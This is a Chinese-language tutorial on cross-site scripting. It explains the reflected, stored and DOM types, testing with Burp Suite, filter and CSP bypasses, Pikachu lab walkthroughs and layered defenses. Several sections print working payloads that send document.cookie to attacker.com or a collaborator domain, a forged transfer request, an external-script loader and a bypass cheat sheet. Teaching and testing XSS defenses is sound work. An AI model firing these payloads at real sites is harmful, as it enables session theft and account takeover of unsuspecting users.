1. 项目概述:为什么XSS依然是Web安全的“头号公敌”?
如果你在安全行业待过几年,或者哪怕只是关注过一些安全事件,XSS(跨站脚本攻击)这个名字你一定不陌生。它常年盘踞在OWASP Top 10的榜单上,看似原理简单,却像牛皮癣一样难以根除。我处理过太多因为一个输入框没过滤好,导致整个用户数据被窃取、页面被篡改,甚至后台被拿下的案例。今天,我们不谈那些空洞的理论,就从我这些年“踩坑”和“填坑”的实战经验出发,把XSS从攻击者的思路到防御者的策略,掰开揉碎了讲清楚。这篇文章适合所有Web开发者、安全测试人员,以及任何想理解为什么自己网站总出“幺蛾子”的朋友。我们将从最基础的反射型XSS开始,一路深入到存储型、DOM型,并探讨在如今前端框架(如Vue、React)和复杂应用场景下,XSS有哪些新变种和防御盲点。目标只有一个:让你不仅能看懂漏洞报告里的“alert(1)”,更能亲手构造攻击、理解原理,并最终在你的代码里筑起坚固的防线。
2. XSS攻击的核心原理与三大类型深度拆解
很多人对XSS的理解停留在“能弹个对话框”上,这远远不够。XSS的本质是**“数据被误执行为代码”**。浏览器信任了你服务器下发的HTML内容,但其中混入了攻击者精心构造的脚本,浏览器无法区分,于是乖乖执行。根据脚本的“来源”和“存储”位置,我们可以将其分为三类,每一类的攻击场景和危害等级天差地别。
2.1 反射型XSS:最简单的“钓鱼”攻击
反射型XSS,也叫非持久型XSS,是最常见、最易于理解的一种。攻击脚本“镶嵌”在URL参数中,随用户请求发送到服务器,服务器未经处理直接“反射”回用户的浏览器页面中执行。
攻击流程与实战模拟:
想象一个搜索功能,URL形如
https://example.com/search?q=用户输入
。后端代码可能这样写(以PHP为例):
<?php
$searchTerm = $_GET['q'];
echo "<p>您搜索的关键词是: " . $searchTerm . "</p>";
?>
如果用户输入是
test
,页面正常显示。但如果攻击者构造一个这样的URL并发给受害者:
https://example.com/search?q=<script>alert('XSS')</script>
后端代码会原样输出,于是页面就变成了:
<p>您搜索的关键词是: <script>alert('XSS')</script></p>
浏览器解析到
<script>
标签,就会执行其中的JavaScript代码,弹出对话框。
真正的危害远不止弹窗: 攻击者会利用短链接服务(如 bit.ly)将恶意URL伪装,然后通过社交工程诱导用户点击。一旦用户中招,脚本可以做的事情非常多:
-
盗取Cookie
:通过
document.cookie获取用户当前会话的Cookie,攻击者即可冒充用户登录。<script>new Image().src='http://attacker.com/steal?cookie='+encodeURIComponent(document.cookie);</script> -
发起恶意请求
:在用户不知情下,以用户的身份和权限执行操作,如转账、改密、发帖。
<script> fetch('/api/transfer', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({to: 'attacker', amount: 10000}) }); </script> - 键盘记录与钓鱼 :捕获用户的键盘输入,或伪造一个登录框覆盖原页面,诱骗用户输入凭证。
实操心得 :测试反射型XSS时,不要只满足于
alert(1)。尝试使用fetch或XMLHttpRequest向外域发送数据,验证漏洞的切实危害。很多WAF(Web应用防火墙)会拦截包含alert的简单payload,但可能放过更复杂的恶意请求。
2.2 存储型XSS:潜伏的“定时炸弹”
存储型XSS的危害性最大。攻击脚本被提交到服务器(如论坛发帖、用户评论、个人资料昵称),并 永久存储 在数据库或文件里。之后,任何访问该页面的用户,都会在加载数据时执行这段恶意脚本。
攻击场景与案例分析: 一个博客的评论系统是典型场景。攻击者在评论框中输入:
<script>var i=new Image;i.src='http://attacker.com/log?cookie='+document.cookie;</script>
这条评论被存入数据库。此后,所有访问这篇博客文章的用户,在加载评论列表时,都会自动向攻击者的服务器发送自己的Cookie。攻击者只需坐等收获即可。
与反射型的核心区别:
- 持久性 :一次注入,长期影响所有访问者。
- 传播性 :无需诱骗用户点击特定链接,正常访问业务页面即可触发。
- 危害范围 :从单个用户升级到全体用户,极易造成大规模数据泄露。
高级利用技巧——绕过长度限制: 有时输入框有字符数限制。攻击者可以通过引用外部脚本文件来绕过。
<script src="http://attacker.com/evil.js"></script>
这样,只需短短几十个字符,就能加载并执行任意复杂、任意长度的恶意脚本。
注意事项 :存储型XSS的修复往往更棘手。不仅要修复前端输入点,还要清理数据库中已存在的恶意数据。我曾遇到一个案例,修复代码上线后,老数据被再次渲染时依然触发漏洞,就是因为历史数据清洗不彻底。务必记得,修复时要“双管齐下”:前端过滤+历史数据清洗。
2.3 DOM型XSS:纯前端的“逻辑漏洞”
DOM型XSS是一种比较特殊的类型。它不涉及服务器端的数据处理,漏洞完全发生在客户端的JavaScript逻辑中。攻击载荷在URL片段(
#
之后的部分)或客户端存储(如
localStorage
)中,通过前端JS代码(如
innerHTML
、
document.write
、
eval
、
location
操作)不当输出到页面上,导致脚本执行。
原理与漏洞代码示例: 假设有如下页面和JS代码:
<p id="msg"></p>
<script>
var hash = window.location.hash.substring(1); // 获取URL # 后面的内容
document.getElementById('msg').innerHTML = '欢迎,' + hash; // 危险操作!
</script>
如果用户访问的URL是:
https://example.com/page#<img src=x onerror=alert(1)>
那么
hash
的值就是
<img src=x onerror=alert(1)>
,通过
innerHTML
插入到页面中。
<img>
标签的
onerror
属性会执行JavaScript,从而触发XSS。
为什么DOM型XSS难以防御?
-
WAF盲区
:因为攻击载荷(如
#后的内容)根本不会发送到服务器,传统部署在服务器端的WAF无法检测。 -
代码审查困难
:需要仔细追踪前端JavaScript中所有将用户可控数据输出到“危险接收器”(Sink)的路径,如
innerHTML、outerHTML、document.write()、eval()、setTimeout()、setInterval()以及location、window.open()的URL参数等。 -
来源复杂
:数据来源(Source)多样,包括
document.URL、document.referrer、location.hash、window.name、localStorage、postMessage传递的数据等。
实战中的DOM-XSS挖掘:
在类似Pikachu、DVWA的靶场中,DOM型XSS关卡通常提供一个输入框,输入内容会通过前端JS动态更新到页面某个位置。你的任务就是分析页面源码,找到数据流:
Source(输入源) → Sink(输出点)
。例如,在Pikachu的DOM型XSS关卡中,你可能会看到代码从
window.location.search
获取参数,然后通过字符串拼接直接赋值给某个元素的
innerHTML
,这就是典型的漏洞模式。
排查技巧 :自动化工具(如Burp Suite的DOM Invader插件、浏览器的开发者工具)可以帮助定位Source和Sink。但最可靠的方法还是代码审计。重点关注任何将
location.hash、URLSearchParams或用户输入直接用于innerHTML、document.write或作为eval参数的地方。
3. 从手工测试到工具利用:XSS漏洞的挖掘与验证实战
知道原理后,我们需要一套方法论来发现和验证它。这里我分享从简单到复杂,从手工到工具的一套组合拳。
3.1 手工探测与基础Payload库
手工测试是理解漏洞本质的最佳途径。核心思路是: 寻找所有用户可控的输入点,尝试插入特殊字符,观察其输出位置和上下文。
第一步:识别输入点与输出上下文
-
输入点
:URL参数(
?id=1)、表单字段(搜索框、评论框、登录名)、HTTP头(如User-Agent、Referer,有时会被记录并显示)。 -
输出上下文
:这是关键!你的payload需要匹配输出点的HTML上下文。
-
在HTML标签内
:
<div> [输出点] </div>。尝试闭合标签:</div><script>alert(1)</script><div>。 -
在HTML属性内
:
<input value="[输出点]">。尝试闭合引号和标签:"><script>alert(1)</script>或利用事件处理器:" onmouseover="alert(1)。 -
在JavaScript代码中
:
<script>var name = '[输出点]';</script>。需要先闭合字符串和语句:'; alert(1); //。
-
在HTML标签内
:
第二步:使用经典Payload进行试探 不要一上来就用复杂的payload。从一个简单的测试字符串开始,观察其被如何编码或过滤。
-
探测过滤
:输入
<>\"'&,查看输出是否被转义(如<、")。 -
基础弹窗
:
<script>alert(1)</script>、<img src=x onerror=alert(1)>、<svg onload=alert(1)>。 -
无标签Payload
:在某些严格过滤标签但允许HTML属性的场景,可以利用支持
javascript:协议的属性:<a href="javascript:alert(1)">click</a>或<iframe src=javascript:alert(1)>。
第三步:根据响应调整Payload
如果
<script>
被过滤,尝试大小写混淆
<ScRiPt>
、使用HTML实体编码
<script>
(但要看浏览器是否解码)。如果
onerror
被过滤,尝试其他事件如
onload
、
onmouseover
、
onfocus
。
我的Payload备忘单 :我会准备一个TXT文件,里面按上下文分类存放各种绕过Payload。例如,针对属性上下文,我会准备
“><script>alert(1)</script>,‘ onfocus=alert(1) autofocus,`反引号包裹的表达式(在模板字符串中)等等。熟能生巧。
3.2 利用Burp Suite等工具进行高效测试
手工测试虽好,但效率低。Burp Suite的 Intruder 和 Scanner 模块是神器。
使用Intruder进行模糊测试(Fuzzing):
- 在Burp中拦截一个包含用户输入(如搜索参数)的请求。
- 右键发送到Intruder。
-
在Positions标签页,清除所有预设,只把你想要测试的参数值用
§符号标记起来,例如search=§test§。 - 在Payloads标签页,加载你准备好的XSS Payload字典(可以从SecLists等开源项目中获取)。
- 开始攻击。Burp会自动化替换Payload并发送请求。
- 在结果中,根据响应长度、状态码、以及是否包含你的Payload(未过滤)来初步判断是否存在漏洞。你可以配置Grep Match来自动标记包含“alert”等关键词的响应。
使用Burp Scanner进行主动扫描: Burp Professional版的主动扫描引擎非常强大。它不仅能检测反射型和存储型XSS,还能通过爬虫发现网站的所有输入点,并自动构造和发送成千上万的测试Payload,同时尝试识别输出上下文,选择最合适的Payload。对于大型应用,这是不可或缺的。但要注意,扫描器可能无法很好地处理复杂的交互流程(如多步骤表单)和DOM型XSS。
3.3 针对框架与过滤机制的绕过技巧
现代Web应用普遍使用了各种防御措施,如输入过滤、输出编码、内容安全策略(CSP)。这就需要我们掌握更高级的绕过技巧。
1. 绕过HTML实体编码:
如果服务器对尖括号进行了编码,
<
变成
<
,常规标签就失效了。但如果我们能控制一个已有的HTML标签的属性,依然可以攻击。
-
场景
:
<input type="text" value="[可控输入]"> -
Payload
:
" onfocus=alert(1) autofocus="。这样构造出的HTML是:<input type="text" value="" onfocus=alert(1) autofocus="">。当页面加载,该输入框自动获得焦点时,onfocus事件就会触发。
2. 利用JavaScript字符串拼接与编码: 当输入被放入JavaScript字符串时,过滤可能只针对引号和分号。
-
场景
:
<script>var data = '[可控输入]';</script> -
Payload
:
\'; alert(1);//。结果是:var data = '\'; alert(1);//';。反斜杠转义了原单引号,然后我们闭合字符串,执行语句,并用注释符//注释掉后面的单引号。
3. 对抗内容安全策略(CSP): CSP通过HTTP头指令限制浏览器只能加载指定来源的脚本、样式等,是防御XSS的利器。但配置不当的CSP反而可能引入新的攻击面。
-
unsafe-inline:如果CSP包含script-src 'unsafe-inline',则内联脚本(如<script>alert(1)</script>)依然可以执行。这是一个危险配置。 -
允许特定域
:如果CSP允许从某个特定域加载脚本,如
script-src https://cdn.example.com,攻击者如果能控制该域下的某个资源(例如通过上传功能污染CDN),或该域本身存在JSONP回调等可被利用的端点,就可能绕过CSP。 -
CSP Bypass研究
:这是一个专门的领域。例如,利用
angular.js库在CSP开启时的特定模式,或通过<link rel=prefetch>等非脚本标签进行信息泄露。测试时,务必用浏览器的开发者工具查看Content-Security-Policy响应头,分析其策略的严格程度。
4. 构建企业级XSS防御体系:从编码到监控
防御XSS不是靠一个“银弹”,而是一个覆盖开发全生命周期的体系。下面是我在项目中推行的一套实践。
4.1 安全的编码实践:输出编码与输入验证
黄金法则:一切不可信数据在输出时,都必须根据上下文进行编码!
-
针对HTML上下文
:使用HTML实体编码。将
<、>、&、"、'分别转换为<、>、&、"、'。几乎所有后端语言和前端模板都有现成函数(如PHP的htmlspecialchars, Python Django模板的自动转义, Java的OWASP ESAPI.encoder().encodeForHTML())。 - 针对HTML属性上下文 :同样使用HTML实体编码,尤其要处理引号。属性值必须用引号包裹。
-
针对JavaScript上下文
:使用JavaScript Unicode转义或专门的JS编码函数。例如,将
'转为\x27或\u0027。 切勿手动拼接字符串生成JS代码! 应使用JSON.stringify()将数据序列化为安全的JSON字符串,再插入到<script>标签或作为JS变量。 -
针对URL上下文
:在将数据放入链接(
href、src)时,使用URL编码。注意,完整URL应进行整体验证,避免javascript:协议。
输入验证 :作为辅助手段,在接收数据时,根据业务逻辑进行严格的白名单验证(例如,用户名只允许字母数字,邮箱必须符合格式)。但切记, 输入验证不能替代输出编码 ,因为数据可能在多个地方以不同上下文使用。
4.2 利用现代前端框架与安全库
现代前端框架(React, Vue, Angular)在默认情况下提供了良好的XSS防护。
-
React
:在JSX中直接插入变量(
{userInput}),React会自动进行转义,将其作为文本处理,而非HTML。只有使用dangerouslySetInnerHTML时才会原样输出,必须慎用。 -
Vue
:使用双花括号插值(
{{ userInput }})或v-bind绑定属性时,Vue也会自动转义。只有使用v-html指令时才会输出原始HTML,同样需要严格管控。 -
Angular
:默认的插值语法(
{{ userInput }})和属性绑定([attr])也是安全的。使用innerHTML绑定或DomSanitizer绕过安全机制时需要格外小心。
使用权威的安全库 :
-
DOMPurify
:一个超轻量级、仅针对DOM的XSS清理库。当你确实需要处理富文本HTML(如博客编辑器内容)并安全地插入到页面时,DOMPurify是你的首选。它使用白名单机制,只允许安全的标签和属性通过。
const cleanHTML = DOMPurify.sanitize(dirtyHTML); document.getElementById('content').innerHTML = cleanHTML; - js-xss :一个基于白名单的HTML过滤库,功能与DOMPurify类似,在Node.js环境中常用。
4.3 部署内容安全策略(CSP)
CSP是最后一道,也是极其有效的防线。它通过HTTP响应头告诉浏览器,哪些外部资源可以被加载和执行。
一个严格的CSP配置示例:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src *; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self';
-
default-src 'self':默认只允许加载同源资源。 -
script-src 'self' https://trusted.cdn.com:脚本只允许来自本站和指定的可信CDN,禁止内联脚本('unsafe-inline'被排除)和eval。 -
style-src 'self' 'unsafe-inline':样式允许同源和内联(实践中内联样式很常见,权衡后可能允许)。 -
img-src *:图片可以从任何地方加载(根据业务调整)。 -
frame-ancestors 'none':禁止页面被嵌套(防点击劫持)。 -
base-uri 'self':限制<base>标签的URL,防止相对路径资源被劫持。
部署建议
:不要一次性上线最严格的策略。使用
Content-Security-Policy-Report-Only
头在报告模式下运行,观察控制台报告,逐步收紧策略,确保不影响正常业务功能。
4.4 建立安全开发与监控闭环
1. 代码审计与自动化扫描:
- 将静态应用安全测试(SAST)工具(如SonarQube, Checkmarx, Fortify)集成到CI/CD流水线中,在代码提交和构建阶段自动检测潜在的安全漏洞模式。
- 定期进行人工代码审查,重点关注用户输入的处理和输出函数的使用。
2. 漏洞管理与应急响应:
- 建立SRC(安全应急响应中心)或漏洞收集流程,鼓励白帽子负责任地披露漏洞。
- 对于发现的XSS漏洞,不仅要修复,更要进行根因分析:是编码遗漏?是框架误用?还是需求设计缺陷?更新开发规范和安全培训材料。
3. 运行时监控与防御(RASP/WAF):
- 在应用层或网络层部署WAF,可以拦截大量已知攻击模式的XSS payload,作为纵深防御的一环。但不可过度依赖,WAF存在被绕过的可能。
-
考虑运行时应用自我保护(RASP)技术,它在应用内部监控异常行为(如异常的DOM操作、大量的
document.cookie访问),能更精准地检测和阻断攻击。
5. 实战复盘:从Pikachu靶场看XSS的攻防细节
理论说再多,不如动手练一遍。我们以经典的Pikachu漏洞靶场为例,复盘几个典型的XSS关卡,看看攻击是如何发生的,以及如何从代码层面修复。
5.1 反射型XSS(GET)关卡分析与利用
在Pikachu的反射型XSS(GET)关卡,你会看到一个搜索框。提交后,关键词会显示在页面上。
攻击视角:
-
输入
<script>alert('xss')</script>并提交,发现成功弹窗。 -
查看页面源码,发现后端代码大致是:
echo "<p>你搜索的关键词是:".$_GET['keyword']."</p>";,没有任何过滤。 -
构造窃取Cookie的Payload:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>。将包含此Payload的URL发送给受害者,一旦点击,其Cookie就会被发送到攻击者服务器。
防御视角(修复代码): 根本原因在于将不可信数据直接拼接进HTML输出。修复方法是进行HTML实体编码。
<?php
$keyword = $_GET['keyword'];
// 进行HTML编码
$encodedKeyword = htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8');
echo "<p>你搜索的关键词是:".$encodedKeyword."</p>";
?>
ENT_QUOTES
参数确保单引号和双引号都被编码。
5.2 存储型XSS关卡分析与利用
在存储型XSS关卡(如留言板),攻击者输入恶意脚本后,脚本被存入数据库。之后所有用户访问留言板页面都会执行该脚本。
攻击视角:
-
在留言内容中输入
<script>alert('存储型XSS')</script>并提交。 - 刷新页面或换一个浏览器访问,发现弹窗依然存在,证明脚本已被存储。
- 可以构造更恶意的Payload,如加载外部键盘记录脚本。
防御视角(修复代码): 修复需要两步:输入验证(可选)和输出编码。
- 后端存储前 :可以进行一些基本的长度限制和字符过滤,但核心防御在输出端。
-
前端显示时
:与反射型修复相同,在将数据库内容输出到页面时,必须使用
htmlspecialchars等函数进行编码。 - 额外措施 :对于富文本内容(需要保留HTML格式,如加粗、斜体),不能使用简单的编码,否则格式会丢失。必须使用白名单过滤库(如前面提到的DOMPurify)来清理HTML,只允许安全的标签和属性通过。
5.3 DOM型XSS关卡分析与绕过
Pikachu的DOM型XSS关卡通常演示如何通过URL片段(
#
)触发漏洞。
攻击视角:
-
查看页面源代码,发现类似以下逻辑:
<script> var hash = window.location.hash.substr(1); document.getElementById('dom').innerHTML = "<a href='"+hash+"'>点击</a>"; </script> -
分析:
hash值被直接拼接进innerHTML赋值语句的字符串中。我们需要闭合href属性的单引号,然后注入新的事件或脚本。 -
构造Payload:访问
页面地址#' onmouseover='alert(1)。-
hash值为' onmouseover='alert(1)。 -
拼接后成为:
<a href='' onmouseover='alert(1)'>点击</a>。 - 当鼠标滑过链接时,触发XSS。
-
防御视角(修复代码): 防御DOM型XSS,必须避免将用户可控数据直接传递给“危险接收器”。
-
避免使用
innerHTML:如果只是设置文本内容,使用textContent或innerText。document.getElementById('dom').textContent = hash; // 安全,hash中的HTML会被转义显示为文本 -
如果必须操作HTML,使用安全的API
:例如,创建元素节点并设置属性。
var link = document.createElement('a'); link.href = hash; // 注意:这里仍需对hash进行URL验证,防止javascript:协议 link.textContent = '点击'; document.getElementById('dom').appendChild(link); -
对数据进行编码
:如果逻辑复杂无法避免拼接,在将数据插入HTML前,使用JavaScript编码函数。
function encodeHTML(str) { return str.replace(/[&<>"']/g, function(match) { return {'&':'&','<':'<','>':'>','"':'"',"'":'''}[match]; }); } var safeHash = encodeHTML(hash); // 然后再进行拼接...(但最好还是用方法1和2)
6. 进阶挑战:在复杂场景与新型架构下挖掘XSS
随着Web技术发展,XSS的利用场景也在不断演变。以下是一些进阶的挑战和思路。
6.1 单页面应用(SPA)中的XSS
在Vue、React等SPA中,路由和状态管理都在前端,传统的反射型XSS可能减少,但风险并未消失。
-
风险点
:
-
客户端路由参数
:如Vue Router的
$route.query或$route.params,如果直接用于v-html或React的dangerouslySetInnerHTML,风险极高。 - 全局状态管理 :从Vuex或Redux store中获取的用户可控数据,如果不经处理直接渲染。
- 第三方库与组件 :引入的UI组件库如果存在安全漏洞,或者其属性绑定处理不当,可能成为攻击入口。
-
客户端路由参数
:如Vue Router的
-
审计重点
:审查所有使用
v-html、dangerouslySetInnerHTML、innerHTML、document.write的地方,追溯其数据来源是否用户可控。
6.2 基于JSON的XSS与缓存投毒
现代API常返回JSON数据,由前端JavaScript动态渲染。如果API响应中包含未编码的HTML内容,且前端直接使用
innerHTML
或类似方式插入,就会导致XSS。
更隐蔽的一种攻击是
“Web缓存投毒”
结合XSS。攻击者发现一个反射型XSS点,但其Payload通过某个特定请求头(如
X-Forwarded-Host
)触发。如果应用配置了缓存(如CDN、反向代理),且缓存键包含了这个请求头,攻击者可以发送一个包含恶意请求头和XSS Payload的请求。这个被“毒化”的响应会被缓存起来。此后,其他正常用户访问同一URL时,如果缓存服务器错误地使用了被“毒化”的缓存条目,就会接收到包含XSS的页面,从而大规模受影响。
6.3 盲XSS(Blind XSS)的挖掘与利用
盲XSS是存储型XSS的一种特殊形式。你的Payload被存储在后端(如管理员后台、日志查看页面、客服工单系统),但你作为攻击者无法直接看到执行结果。你需要一个“外带”通道来确认漏洞是否存在并获取数据。
利用方法:
- 使用一个公开的、你能接收请求的Webhook地址或DNS日志记录服务(如Burp Collaborator、RequestBin、Interactsh)。
-
构造Payload,使其在受害者浏览器执行时,向你的地址发起HTTP或DNS请求。
<script>new Image().src='http://your-burp-collaborator-domain/?'+document.cookie;</script> <img src=x onerror="fetch('http://your-burp-collaborator-domain/', {method:'POST', body:document.cookie})"> - 将Payload提交到所有可能的输入点(用户资料、订单备注、支持请求等)。
- 等待管理员或其他高权限用户查看相关数据。一旦他们查看,你的Payload执行,你的Collaborator服务器就会收到请求,从而证实漏洞存在并可能窃取到敏感信息(如管理员的会话Cookie)。
挖掘盲XSS需要耐心和广泛的测试覆盖。它考验的是攻击者对业务逻辑的理解:哪些地方用户提交的数据,会被更高权限的角色查看?

3307

被折叠的 条评论
为什么被折叠?



